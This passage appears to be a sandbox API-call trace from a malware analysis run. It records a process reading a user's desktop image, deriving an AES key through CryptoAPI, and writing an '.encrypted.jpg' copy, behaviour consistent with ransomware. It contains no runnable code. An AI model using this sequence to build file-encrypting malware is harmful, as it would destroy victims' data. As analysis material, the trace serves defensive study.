lpUsedDefaultChar=0x0) returned 11 [0022.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.927] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.927] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.jpg", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0022.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.jpg", cchWideChar=44, lpMultiByteStr=0xe8f404c010, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.jpg", lpUsedDefaultChar=0x0) returned 44 [0022.928] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=44, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0022.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=44, lpWideCharStr=0xe8f406a1f0, cchWideChar=44 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.jpg") returned 44 [0022.928] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.929] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.929] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.929] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.929] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.929] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.929] CloseHandle (hObject=0x1fc) returned 1 [0022.930] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.930] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.930] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.930] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.930] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.930] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.930] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.931] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.931] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.931] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.931] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.932] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.932] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.932] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.932] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.932] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.932] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.932] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.933] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.933] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.933] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.933] CryptHashData (hHash=0xe8f4062b10, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.933] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.933] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.933] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f4062b10, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.933] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.934] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.934] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.934] CryptDestroyHash (hHash=0xe8f4062b10) returned 1 [0022.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.935] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.935] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.935] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.936] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.936] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.938] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.939] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6f8a, lpOverlapped=0x0) returned 1 [0022.939] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.942] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.942] PeekMessageW (in: 